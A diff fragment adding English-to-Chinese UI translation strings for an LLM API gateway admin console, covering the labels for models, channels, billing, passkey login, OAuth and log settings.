+    "List of models supported by this channel. Use comma to separate multiple models.": "此渠道支持的模型列表。使用逗号分隔多个模型。",
+    "List of origins (one per line) allowed for Passkey registration and authentication.": "允许用于 Passkey 注册和身份验证的来源列表（每行一个）。",
+    "List view": "列表视图",
+    "LLM prompt helper": "LLM 辅助设计提示词",
+    "Load Balancing": "负载均衡",
+    "Load template...": "加载模板...",
+    "Loader": "加载器",
+    "Loading configuration": "正在加载配置",
+    "Loading content settings...": "正在加载内容设置...",
+    "Loading current models...": "正在加载当前模型...",
+    "Loading failed": "加载失败",
+    "Loading maintenance settings...": "正在加载维护设置...",
+    "Loading settings...": "正在加载设置...",
+    "Loading setup status…": "正在加载设置状态…",
+    "Loading...": "加载中...",
+    "Local": "本地",
+    "Local Billing": "本地计费",
+    "Local models": "本地模型",
+    "Locations": "位置",
+    "Locked": "锁定",
+    "log": "日志的完整详情",
+    "Log Details": "日志详情",
+    "Log Directory": "日志目录",
+    "Log File Count": "日志文件数",
+    "Log files older than {{value}} days will be deleted.": "将删除 {{value}} 天前的日志文件。",
+    "Log IP address for usage and error logs": "记录用于使用和错误日志的 IP 地址",
+    "Log Maintenance": "日志维护",
+    "Log Type": "日志类型",
+    "Login failed": "登录失败",
+    "Logo": "徽标",
+    "Logo URL": "徽标 URL",
+    "Logs": "日志",
+    "m": "分钟",
+    "Maintain a list of common questions for the dashboard help panel": "维护仪表板帮助面板的常见问题列表",
+    "Maintenance": "维护",
+    "Make it easier for teammates to pick the right group.": "让队友更容易选择正确的分组。",
+    "Manage": "管理",
+    "Manage account bindings for this user": "管理此用户的账户绑定",
+    "Manage and configure": "管理和配置",
+    "Manage API channels and provider configurations": "管理 API 渠道和提供商配置",
+    "Manage Bindings": "管理绑定",
+    "Manage catalog visibility and pricing.": "管理目录可见性和定价。",
+    "Manage custom OAuth providers for user authentication": "管理用于用户认证的自定义 OAuth 提供商",
+    "Manage Keys": "管理密钥",
+    "Manage local models for:": "管理本地模型：",
+    "Manage model deployments": "管理模型部署",
+    "Manage model metadata and configuration": "管理模型元信息和配置",
+    "Manage multi-key status and configuration for this channel": "管理此渠道的多密钥状态和配置",
+    "Manage Ollama Models": "管理 Ollama 模型",
+    "Manage redemption codes for quota top-up": "管理用于配额充值的兑换码",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "管理服务器运行日志文件。日志文件会随运行时间不断累积，建议定期清理以释放磁盘空间。",
+    "Manage subscription plan creation, pricing and status": "管理订阅套餐的创建、定价和启停",
+    "Manage subscription plans and pricing.": "管理订阅计划和定价。",
+    "Manage Subscriptions": "管理订阅",
+    "Manage users and their permissions": "管理用户及其权限",
+    "Manage Vendors": "管理供应商",
+    "Manage your API keys for accessing the service": "管理您用于访问服务的 API 密钥",
+    "Manage your balance and payment methods": "管理您的余额和付款方式",
+    "Manage your security settings and account access": "管理您的安全设置和账户访问",
+    "Manual Disabled": "手动禁用",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "将用户信息响应中的字段映射到本地用户属性。支持嵌套路径（例如 ocs.data.id）。",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "将模型标识符映射到 Gemini API 版本。当未找到特定匹配项时，将应用 `default` 条目。",
+    "Map request model names to actual provider model names (JSON format)": "将请求模型名称映射到实际提供商模型名称 (JSON 格式)",
+    "Map response status codes (JSON format)": "映射响应状态码（JSON 格式）",
+    "Map upstream status codes to different codes": "将上游状态码映射到不同的代码",
+    "Match model name exactly": "完全匹配模型名称",
+    "Match models containing this name": "匹配包含此名称的模型",
+    "Match models ending with this name": "匹配以此名称结尾的模型",
+    "Match models starting with this name": "匹配以此名称开头的模型",
+    "Match Type": "匹配类型",
+    "Matched": "已命中",
+    "Matched Tier": "命中阶梯",
+    "Matching Rules": "匹配规则",
+    "Max Disk Cache Size (MB)": "磁盘缓存最大总量 (MB)",
+    "Max Entries": "最大条目数",
+    "Max Requests (incl. failures)": "最大请求数（包括失败）",
+    "Max Requests (including failures)": "最大请求数（包括失败）",
+    "Max requests per period": "每周期最大请求数",
+    "Max Success": "最大成功数",
+    "Max successful requests": "最大成功请求数",
+    "Max Successful Requests": "最大成功请求数",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "最多 1000 个字符。支持 Markdown 和 HTML。",
+    "Maximum 200 characters": "最多 200 个字符",
+    "Maximum 500 characters. Supports Markdown and HTML.": "最多 500 个字符。支持 Markdown 和 HTML。",
+    "Maximum check-in quota": "签到最大额度",
+    "Maximum quota amount awarded for check-in": "签到奖励的最大额度",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0, maxSuccess ≥ 1，两者均 ≤ 2,147,483,647",
+    "Memory Hits": "内存命中",
+    "Memory Threshold (%)": "内存阈值 (%)",
+    "Merchant ID": "商户 ID",
+    "Merchant ID is required": "商户 ID 为必填项",
+    "Message Priority": "消息优先级",
+    "Metadata": "元信息",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "最低充值",
+    "Min Top-up:": "最低充值：",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "签到最小额度",
+    "Minimum LinuxDO trust level required": "所需的最低 LinuxDO 信任级别",
+    "Minimum quota amount awarded for check-in": "签到奖励的最小额度",
+    "Minimum recharge amount in USD": "最低充值金额（美元）",
+    "Minimum recharge amount to qualify for this discount.": "符合此折扣的最低充值金额。",
+    "Minimum top-up (optional)": "最低充值（可选）",
+    "Minimum top-up (USD)": "最低充值（美元）",
+    "Minimum top-up amount must be at least 1": "最低充值金额至少为 1",
+    "Minimum top-up quantity": "最低充值数量",
+    "Minimum topup amount: {{amount}}": "最低充值金额：{{amount}}",
+    "Minimum Trust Level": "最低信任级别",
+    "Minimum:": "最低：",
+    "Minute": "分钟",
+    "minutes": "分钟",
+    "Missing code": "缺少代码",
+    "Missing Models": "缺失的模型",
+    "Missing user data from Passkey login response": "Passkey 登录响应中缺少用户数据",
+    "Mistral": "Mistral",
+    "Mode": "模式",
+    "model": "模型",
+    "Model": "模型",
+    "Model Access": "模型访问",
+    "Model Analytics": "模型数据分析",
+    "Model Call Analytics": "模型调用分析",
+    "Model context usage": "模型上下文用量",
+    "Model deleted": "模型已删除",
+    "Model deleted successfully": "模型删除成功",
+    "Model deployment service is disabled": "模型部署服务未启用",
+    "Model Description": "模型描述",
+    "Model disabled successfully": "模型禁用成功",
+    "Model enabled successfully": "模型启用成功",
+    "Model fixed pricing": "模型固定定价",
+    "Model Group": "模型分组",
+    "Model Limits": "模型限制",
+    "Model Mapping": "模型映射",
+    "Model Mapping (JSON)": "模型映射 (JSON)",
+    "Model Mapping must be a JSON object like": "模型映射必须是如下所示的 JSON 对象",
+    "Model mapping must be valid JSON": "模型映射必须是有效的 JSON",
+    "Model name": "模型名称",
+    "Model Name": "模型名称",
+    "Model Name *": "模型名称 *",
+    "Model name is required": "模型名称为必填项",
+    "Model names copied to clipboard": "模型名称已复制到剪贴板",
+    "Model not found": "模型未找到",
+    "Model Price": "模型价格",
+    "Model Price Not Configured": "模型价格未配置",
+    "Model Pricing": "模型定价",
+    "Model pull failed: {{msg}}": "模型拉取失败：{{msg}}",
+    "Model ratio": "模型倍率",
+    "Model ratios": "模型比例",
+    "Model ratios reset successfully": "模型比例重置成功",
+    "Model Regex": "模型正则",
+    "Model Regex (one per line)": "模型正则（每行一个）",
+    "Model to use for testing": "用于测试的模型",
+    "Model to use when testing channel connectivity": "测试通道连接时使用的模型",
+    "Model Version *": "模型版本 *",
+    "model(s) selected out of": "已选模型（共）",
+    "model(s)? This action cannot be undone.": "模型？此操作无法撤销。",
+    "models": "个模型",
+    "Models": "模型",
+    "Models *": "模型 *",
+    "Models & Groups": "模型与分组",
+    "Models appended successfully": "模型已追加成功",
+    "Models are required": "需要模型",
+    "Models directory": "模型目录",
+    "Models fetched successfully": "模型获取成功",
+    "Models filled to form": "模型已填充到表单",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "此处列出的模型不会自动添加或移除 -thinking / -nothinking 后缀。",
+    "Models not in list, may fail to invoke": "模型未加入列表，可能无法调用",
+    "Models that are being used but not configured in the system": "正在使用但未在系统中配置的模型",
+    "Models updated successfully": "模型更新成功",
+    "Modify existing subscription plan configuration": "修改现有订阅套餐的配置",
+    "Module availability": "模块可用性",
+    "MokaAI": "MokaAI",
+    "Monitor": "监控",
+    "Monitoring & Alerts": "监控与警报",
+    "Month": "月份",
+    "Monthly": "每月",
+    "months": "个月",
+    "Moonshot": "Moonshot",
+    "More": "更多",
+    "more mapping": "更多映射",
+    "More templates...": "更多模板...",
+    "More...": "更多...",
+    "Move": "移动",
+    "Move affiliate rewards to your main balance": "将推广奖励转移到您的主余额",
+    "Move Header": "移动请求头",
+    "ms": "毫秒",
+    "Multi-key channel: Keys will be": "多密钥渠道：密钥将",
+    "Multi-Key Management": "多密钥管理",
+    "Multi-Key Mode (multiple keys, one channel)": "多密钥模式（多个密钥，一个通道）",
+    "Multi-Key Strategy": "多密钥策略",
+    "Multi-key: Polling rotation": "多密钥：轮询",
+    "Multi-key: Random rotation": "多密钥：随机",
+    "Multi-region deployment for stable global access": "多区域部署，实现稳定的全球访问",
+    "Multi-user management with flexible permission allocation": "多用户管理，灵活分配权限",
+    "Multiplier": "倍率",
+    "Multiplier applied when": "倍率应用于当",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "当{{userGroup}}使用{{targetGroup}}时应用的倍率",
+    "Multiplier for audio inputs.": "音频输入的倍率。",
+    "Multiplier for audio outputs.": "音频输出的倍率。",
+    "Multiplier for completion tokens.": "补全令牌的倍数。",
+    "Multiplier for image processing.": "图像处理的倍率。",
+    "Multiplier for prompt tokens.": "提示令牌的倍数。",
+    "Multipliers for recharge pricing based on user groups.": "基于用户分组的充值定价倍率。",
+    "Must be a valid URL": "必须是有效的 URL",
+    "Must be at least 8 characters": "必须至少 8 个字符",
+    "My Subscriptions": "我的订阅",
+    "my-status": "我的状态",
+    "MySQL detected": "检测到 MySQL",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL 是生产就绪的关系数据库。请确保凭据安全。",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQL 已准备好投入生产环境。请确保配置了自动备份以及具有最低所需权限的专用用户。",
+    "N/A": "不适用",
+    "Name": "名称",
+    "Name *": "名称 *",
+    "Name for this redemption code (1-20 characters)": "此兑换码的名称（1-20 个字符）",
+    "Name is available": "名称可用",
+    "Name is not available": "名称不可用",
+    "Name must be between {{min}} and {{max}} characters": "名称必须介于 {{min}} 到 {{max}} 个字符之间",
+    "Name Rule": "名称规则",
+    "Name Suffix": "名称后缀",
+    "name@example.com": "name@example.com",
+    "Native format": "原生格式",
+    "Need a code?": "需要一个代码吗？",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "嵌套 JSON，定义按分组添加（+:）、移除（-:）或追加可用分组的规则。",
+    "Nested JSON: source group →": "嵌套 JSON：源分组 →",
+    "Network proxy for this channel (supports socks5 protocol)": "此渠道的网络代理（支持 socks5 协议）",
+    "Never": "永不",
+    "Never expires": "永不过期",
+    "New API": "New API",
+    "New API &lt;noreply@example.com&gt;": "New API &lt;noreply@example.com&gt;",
+    "New API Project Repository:": "New API 项目仓库：",
+    "New Format Template": "新格式模板",
+    "New Group": "新建分组",
+    "New Models ({{count}})": "新模型 ({{count}})",
+    "New name will be:": "新名称将是：",
+    "New password": "新密码",
+    "New Password": "新密码",
+    "New password must be different from current password": "新密码必须与当前密码不同",
+    "New User Quota": "新用户配额",
+    "New version available: {{version}}": "有新版本可用：{{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "下一步",
+    "Next branch": "下一个分支",
+    "Next page": "下一页",
+    "Next reset": "下一次重置",
+    "No About Content Set": "未设置关于内容",
+    "No Active": "无生效",
+    "No additional type-specific settings for this channel type.": "此渠道类型没有额外的特定类型设置。",
+    "No amount options configured. Add amounts below to get started.": "未配置金额选项。在下方添加金额即可开始使用。",
+    "No announcements at this time": "目前暂无公告",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "暂无公告。点击“添加公告”来创建一个。",
+    "No API Domains yet. Click \"Add API\" to create one.": "暂无 API 域。点击“添加 API”创建一个。",
+    "No API keys available. Create your first API key to get started.": "没有可用的 API 密钥。创建您的第一个 API 密钥即可开始使用。",
+    "No API Keys Found": "未找到 API 密钥",
+    "No API routes configured": "未配置 API 路由",
+    "No available models": "没有可用模型",
+    "No available Web chat links": "没有可用的 Web 聊天链接",
+    "No backup": "无备份",
+    "No billing records found": "未找到账单记录",
+    "No Change": "无变化",
+    "No changes": "没有变更",
+    "No changes made": "未进行任何更改",
+    "No changes to save": "没有需要保存的更改",
+    "No channel selected": "未选择渠道",
+    "No channels available. Create your first channel to get started.": "没有可用的渠道。创建您的第一个渠道即可开始使用。",
+    "No channels found": "未找到渠道",
+    "No Channels Found": "未找到渠道",
+    "No channels selected": "未选择渠道",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "未配置聊天预设。点击\"添加聊天预设\"开始。",
+    "No chat presets match your search": "没有匹配的聊天预设",
+    "No conflict entries available.": "没有可用的冲突条目。",
+    "No conflicts match your search.": "没有冲突匹配您的搜索。",
+    "No console output": "无控制台输出",
+    "No containers": "无容器",
+    "No custom OAuth providers configured yet.": "尚未配置自定义 OAuth 提供商。",
+    "No data": "暂无数据",
+    "No Data": "无数据",
+    "No data available": "暂无数据",
+    "No deployments available. Create one to get started.": "没有可用的部署。创建一个开始吧。",
+    "No Deployments Found": "未找到部署",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "未配置折扣等级。点击“添加折扣等级”即可开始使用。",
+    "No duplicate keys found": "未发现重复密钥",
+    "No enabled tokens available": "当前没有可用的启用令牌",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "未配置端点。切换到 JSON 模式或添加行来定义端点。",
+    "No FAQ entries available": "暂无 FAQ 条目",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "暂无常见问题条目。点击“添加常见问题”来创建一个。",
+    "No files match the accepted types.": "没有文件匹配接受的类型。",
+    "No group found.": "未找到分组。",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "未配置基于组的速率限制。点击“添加组”开始使用。",
+    "No groups match your search": "没有组匹配您的搜索",
+    "No header overrides configured.": "未配置标头覆盖。",
+    "No Inviter": "无邀请人",
+    "No keys found": "未找到密钥",
+    "No log entries matched the selected time.": "没有日志条目匹配所选时间。",
+    "No logs": "暂无日志",
+    "No Logs Found": "未找到日志",
+    "No mappings configured. Click \"Add Row\" to get started.": "未配置映射。点击 \"添加行\" 开始。",
+    "No matches found": "未找到匹配项",
+    "No matching results": "无匹配结果",
+    "No messages yet": "暂无消息",
+    "No missing models found.": "未找到缺失的模型。",
+    "No model found.": "未找到模型。",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "未配置模型映射。点击“添加映射”即可开始使用。",
+    "No models available": "没有可用的模型",
+    "No models available in this category": "该分类下没有可用模型",
+    "No models available. Create your first model to get started.": "没有可用的模型。创建您的第一个模型即可开始使用。",
+    "No models fetched from upstream": "未从上游获取模型",
+    "No models fetched yet.": "尚未获取模型。",
+    "No models found": "未找到模型",
+    "No Models Found": "未找到模型",
+    "No models found.": "未找到模型。",
+    "No models match your current filters.": "没有模型匹配您当前的筛选条件。",
+    "No models match your search": "没有匹配的模型",
+    "No models selected": "未选择模型",
+    "No models to add": "无待新增模型",
+    "No models to copy": "没有模型可复制",
+    "No models to remove": "无待删除模型",
+    "No new models to add": "没有新模型可添加",
+    "No parameter overrides configured.": "未配置参数覆盖。",
+    "No payment methods available. Please contact administrator.": "没有可用的支付方式。请联系管理员。",
+    "No payment methods configured": "暂无支付方式",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "未配置支付方式。点击\"添加方式\"或使用模板开始。",
+    "No payment methods match your search": "没有匹配的支付方式",
+    "No plans available": "暂无可购买套餐",
+    "No preference": "无偏好",
+    "No prefill groups yet": "暂无预填充分组",
+    "No price differences found": "未发现价格差异",
+    "No processable upstream model updates for this channel": "该渠道暂无可处理的上游模型更新",
+    "No products configured. Click \"Add product\" to get started.": "未配置产品。点击 \"添加产品\" 开始。",
+    "No products match your search": "没有产品匹配您的搜索",
+    "No providers available": "暂无可用提供商",
+    "No Quota": "无余额",
+    "No ratio differences found": "未发现比率差异",
+    "No records found. Try adjusting your filters.": "未找到记录。尝试调整您的筛选条件。",
+    "No redemption codes available. Create your first redemption code to get started.": "没有可用的兑换码。创建您的第一个兑换码即可开始使用。",
+    "No Redemption Codes Found": "未找到兑换码",
+    "No related models available for this channel type": "此渠道类型没有相关模型可用",
+    "No release notes provided.": "未提供发布说明。",
+    "No Reset": "不重置",
+    "No restriction": "无限制",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "未找到 \"{{query}}\" 的结果。请尝试调整搜索或筛选条件。",
+    "No results found": "搜索无结果",
+    "No results found.": "未找到结果。",
+    "No Retry": "不重试",
+    "No rules yet": "暂无规则",
+    "No rules yet. Add a group below to get started.": "暂无规则。请在下方添加分组以开始。",
+    "No status code mappings configured.": "未配置状态码映射。",
+    "No subscription plans yet": "暂无订阅套餐",
+    "No subscription records": "暂无订阅记录",
+    "No Sync": "不同步",
+    "No system announcements": "暂无系统公告",
+    "No token found.": "未找到令牌。",
+    "No tools configured": "未配置工具",
+    "No Upgrade": "不升级",
+    "No upstream price differences found": "未发现上游价格差异",
+    "No upstream ratio differences found": "未找到上游比例差异",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "暂无 Uptime Kuma 分组。点击“添加分组”来创建一个。",
+    "No uptime monitoring configured": "未配置正常运行时间监控",
+    "No usage logs available. Logs will appear here once API calls are made.": "暂无使用日志。发起 API 调用后日志将显示在此处。",
+    "No user information available": "暂无用户信息",
+    "No user selected": "未选择用户",
+    "No users available. Try adjusting your search or filters.": "没有可用的用户。请尝试调整您的搜索或筛选条件。",
+    "No Users Found": "未找到用户",
+    "Node Name": "节点名称",
+    "Non-stream": "非流式",
+    "None": "无",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "已归一化：",
+    "Not available": "不可用",
+    "Not backed up": "未备份",
+    "Not bound": "未绑定",
+    "Not Set": "未设置",
+    "Not set yet": "尚未设置",
+    "Not Started": "未开始",
+    "Not Submitted": "未提交",
+    "Not tested": "未测试",
+    "Not used yet": "暂未使用",
+    "Notice": "通知",
+    "Notification Email": "通知邮箱",
+    "Notification Method": "通知方式",
+    "Notifications": "通知",
+    "Number of codes to create": "要创建的代码数量",
+    "Number of keys to create": "要创建的密钥数量",
+    "Number of times to retry failed requests (0-10)": "失败请求的重试次数 (0-10)",
+    "Number of tokens per unit quota": "每单位配额的令牌数",
+    "Number of users invited": "已邀请的用户数量",
+    "OAuth Client ID": "OAuth 客户端 ID",
+    "OAuth Client Secret": "OAuth 客户端密钥",
+    "OAuth failed": "OAuth 失败",
+    "OAuth Integrations": "OAuth 集成",
+    "OAuth start failed": "OAuth 启动失败",
+    "Observability": "可观测性",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "请在 Waffo 后台获取 API 密钥、商户 ID 以及 RSA 密钥对，并配置回调地址。",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "请在 Waffo 后台获取商户、店铺、商品与签名密钥。Webhook 地址：<ServerAddress>/api/waffo-pancake/webhook",
+    "of": "条，共",
+    "of 3:": "共 3 个：",
+    "off": "关闭",
+    "Official": "官方",
+    "Official documentation": "官方说明",
+    "Official Repository": "官方仓库",
+    "Official Sync": "官方同步",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "OIDC 客户端 ID",
+    "OIDC Client Secret": "OIDC 客户端密钥",
+    "OIDC configuration fetched successfully": "OIDC 配置获取成功",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "OIDC 发现 URL。点击\"自动发现\"以自动获取端点。",
+    "OIDC endpoints discovered successfully": "OIDC 端点发现成功",
+    "Old Format Template": "旧格式模板",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "旧格式：直接覆盖。新格式：支持条件判断和自定义 JSON 操作。",
+    "Ollama": "Ollama",
+    "Ollama Models": "Ollama 模型",
+    "One API": "One API",
+    "One domain per line": "每行一个域名",
+    "One domain per line (only used when domain restriction is enabled)": "每行一个域名 (仅在启用域名限制时使用)",
+    "One IP or CIDR range per line": "每行一个 IP 或 CIDR 范围",
+    "One IP per line (empty for no restriction)": "每行一个 IP (留空表示无限制)",
+    "one keyword per line": "每行一个关键词",
+    "Online payment is not enabled. Please contact the administrator.": "管理员未开启在线支付功能，请联系管理员配置。",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "尚未启用在线充值。请使用兑换码或联系管理员。",
+    "Only allow specific email domains": "仅允许特定的电子邮件域名",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "仅管理员可用。启用后，当定时模型检查检测到上游模型变更或检查失败时，您将通过所选方式收到汇总通知。",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "仅选定的字段将被覆盖。如果出现新的冲突，您可以重新运行同步向导。",
+    "Only successful requests": "仅成功的请求",
+    "Only successful requests count toward this limit.": "仅成功的请求计入此限制。",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "将只保留最近 {{value}} 个日志文件，其余将被删除。",
+    "Oops! Page Not Found!": "糟糕！页面未找到！",
+    "Oops! Something went wrong": "糟糕！出错了",
+    "Open": "打开",
+    "Open authorization page": "打开授权页",
+    "Open CC Switch": "打开 CC Switch",
+    "Open in chat": "在聊天中打开",
+    "Open in new tab": "在新标签页中打开",
+    "Open in New Tab": "在新标签页中打开",
+    "Open menu": "打开菜单",
+    "Open release": "打开版本",
+    "Open the io.net console API Keys page": "打开 io.net 控制台 API 密钥页面",
+    "Open theme settings": "打开主题设置",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "兼容 OpenAI",
+    "OpenAI Organization": "OpenAI 组织",
+    "OpenAI Organization ID (optional)": "OpenAI 组织 ID（可选）",
+    "OpenAI, Anthropic, etc.": "OpenAI、Anthropic 等",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI、Anthropic、Google 等",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "已打开授权页",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "在外部客户端中打开。从侧边栏或 API 密钥操作中触发，以启动配置的应用。",
+    "Operation failed": "操作失败",
+    "Operator Admin": "操作管理员",
+    "Optimize system for self-hosted single-user usage": "优化系统以适应自托管单用户使用",
+    "Optimized network architecture ensures millisecond response times": "优化的网络架构，确保毫秒级响应时间",
+    "Optional callback override. Leave blank to use server address": "可选的回调覆盖。留空以使用服务器地址",
+    "Optional icon identifier for the login button": "登录按钮的可选图标标识符",
+    "Optional JSON policy to restrict access based on user info fields": "可选的 JSON 策略，用于基于用户信息字段限制访问",
+    "Optional minimum recharge amount for this method.": "此方法的可选最低充值金额。",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "计算充值定价时使用的每个用户分组可选乘数。请提供一个 JSON 对象，例如",
+    "Optional notes about this channel": "关于此渠道的可选备注",
+    "Optional notes about when to use this group": "关于何时使用此分组的可选说明",
+    "Optional ratio used when upstream cache hits occur.": "上游缓存命中时使用的可选比率。",
+    "Optional settings for advanced container configuration.": "高级容器配置的可选设置。",
+    "Optional supplementary information (max 100 characters)": "可选补充信息 (最多 100 个字符)",
+    "Optional tag for grouping channels": "用于分组渠道的可选标签",
+    "Opus Model": "Opus 模型",
+    "Or continue with": "或继续使用",
+    "Or enter this key manually:": "或手动输入此密钥：",
+    "Order completed successfully": "订单已成功完成",
+    "Order History": "订单历史",
+    "Order Payment Method": "订单支付方式",
+    "org-...": "org-...",
+    "Original Model": "原始模型",
+    "Other": "其他",
+    "Output": "输出",
+    "Output price": "输出价格",
+    "Output tokens": "输出 token",
+    "Output Tokens": "输出 Token",
+    "override": "覆盖",
+    "Override": "覆盖",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "覆盖 Anthropic 标头、默认值和思维适配器行为",
+    "Override auto-discovered endpoint": "覆盖自动发现的端点",
+    "Override request headers": "覆盖请求标头",
+    "Override request headers (JSON format)": "覆盖请求头（JSON 格式）",
+    "Override request parameters (JSON format)": "覆盖请求参数 (JSON 格式)",
+    "Override request parameters. Cannot override": "覆盖请求参数。无法覆盖",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "覆盖用于测试的端点。留空以自动检测。",
+    "overrides for matching model prefix.": "为匹配模型前缀的覆盖价。",
+    "Overview": "概览",
+    "Overwritten": "已覆盖",
+    "Page": "页面",
+    "Page {{current}} of {{total}}": "第 {{current}} 页，共 {{total}} 页",
+    "PaLM": "PaLM",
+    "Pan": "平移",
+    "Param Override": "参数覆盖",
+    "Parameter Override": "参数覆盖",
+    "Parameter Override Template (JSON)": "参数覆盖模板 (JSON)",
+    "Parameter override template must be a JSON object": "参数覆盖模板必须是 JSON 对象",
+    "parameter.": "参数。",
+    "Parameters": "参数",
+    "Parsed {{count}} service account file(s)": "已解析 {{count}} 个服务账号文件",
+    "Partial Submission": "部分提交确认",
+    "Pass Headers": "透传请求头",
+    "Pass request body directly to upstream": "将请求体直接传递给上游",
+    "Pass Through Body": "透传请求体",
+    "Pass through the anthropic-beta header for beta features": "透传 anthropic-beta 头部以使用 beta 功能",
+    "Pass through the include field for usage obfuscation": "透传 include 字段以用于用量混淆",
+    "Pass through the inference_geo field for Claude data residency region control": "透传 inference_geo 字段用于控制 Claude 数据驻留推理区域",
+    "Pass through the inference_geo field for geographic routing": "透传 inference_geo 字段以用于地理路由",
+    "Pass through the safety_identifier field": "将 safety_identifier 字段透传到上游",
+    "Pass through the service_tier field": "将 service_tier 字段透传到上游",
+    "Pass through the speed field for Claude inference speed mode control": "透传 speed 字段用于控制 Claude 推理速度模式",
+    "Pass-Through": "透传",
+    "Passkey": "Passkey",
+    "Passkey Authentication": "通行密钥认证",
+    "Passkey is not available in this browser": "此浏览器中不支持 Passkey",
+    "Passkey is not supported in this environment": "此环境中不支持 Passkey",
+    "Passkey is not supported on this device": "此设备不支持 Passkey",
+    "Passkey is not supported on this device.": "此设备不支持通行密钥。",
+    "Passkey Login": "Passkey 登录",
+    "Passkey login failed": "Passkey 登录失败",
+    "Passkey login was cancelled": "Passkey 登录已取消",
+    "Passkey login was cancelled or timed out": "Passkey 登录已取消或超时",
+    "Passkey not supported on this device": "此设备不支持通行密钥",
+    "Passkey registered successfully": "Passkey 注册成功",
+    "Passkey registration was cancelled": "通行密钥注册已取消",
+    "Passkey removed successfully": "通行密钥已成功移除",
+    "Passkey reset successfully": "通行密钥已成功重置",
+    "Password": "密码",
+    "Password / Access Token": "密码 / 访问令牌",
+    "Password changed successfully": "密码更改成功",
+    "Password copied to clipboard: {{password}}": "密码已复制到剪贴板：{{password}}",
+    "Password has been copied to clipboard": "密码已复制到剪贴板",
+    "Password Login": "密码登录",
+    "Password must be at least 8 characters": "密码必须至少 8 个字符",
+    "Password must be at least 8 characters long": "密码必须至少 8 个字符长",
+    "Password Registration": "密码注册",
+    "Password reset and copied to clipboard: {{password}}": "密码已重置并复制到剪贴板：{{password}}",
+    "Password reset: {{password}}": "密码已重置：{{password}}",
+    "Passwords do not match": "密码不匹配",
+    "Paste the full callback URL (includes code & state)": "粘贴完整回调 URL（含 code 和 state）",
+    "Path": "路径",
+    "Path Regex (one per line)": "路径正则（每行一个）",
+    "Path:": "路径：",
+    "Pay": "支付",
+    "Pay-as-you-go with real-time usage monitoring": "按量付费，实时监控使用情况",
+    "Payment Channel": "支付渠道",
+    "Payment Gateway": "支付网关",
+    "Payment initiated": "已发起支付",
+    "Payment Method": "付款方式",
+    "Payment method name": "支付方式名称",
+    "Payment method name is required": "支付方式名称不能为空",
+    "Payment method type": "支付方式类型",
+    "Payment method type is required": "支付方式类型为必填项",
+    "Payment methods": "付款方式",
+    "Payment Methods": "支付方式",
+    "Payment page opened": "已打开支付页面",
+    "Payment request failed": "支付请求失败",
+    "Payment return URL": "支付返回地址",
+    "Pending": "待确认",
+    "per": "每",
+    "Per 1K tokens": "每 1K tokens",
+    "Per 1M tokens": "每 1M tokens",
+    "per request": "每次请求",
+    "Per request": "每次请求",
+    "Per Request": "按请求",
+    "Per-call": "每次调用",
+    "Per-feature metered windows split by model or capability.": "按模型或能力拆分的附加计费能力窗口。",
+    "Per-request (fixed price)": "按请求计费（固定价格）",
+    "Per-token": "按 Token",
+    "Per-token (ratio based)": "按令牌计费（基于比例）",
+    "Percentage:": "百分比：",
+    "Performance": "性能",
+    "Performance Monitor": "性能监控",
+    "Performance Settings": "性能设置",
+    "Periodically check for upstream model changes": "定期检查上游模型是否有变更",
+    "Periodically send ping frames to keep streaming connections active.": "定期发送 ping 帧以保持流连接处于活动状态。",
+    "Permanently delete your account and all data": "永久删除您的帐户和所有数据",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "允许在非 HTTPS 源上注册通行密钥（仅建议用于开发）",
+    "Perplexity": "Perplexity",
+    "Persist your data file": "持久化您的数据文件",
+    "Personal area": "个人中心",
+    "Personal Center Area": "个人中心区域",
+    "Personal info settings": "个人信息设置",
+    "Personal Settings": "个人设置",
+    "Personal settings and profile management.": "个人设置和个人资料管理。",
+    "Personal use": "个人使用",
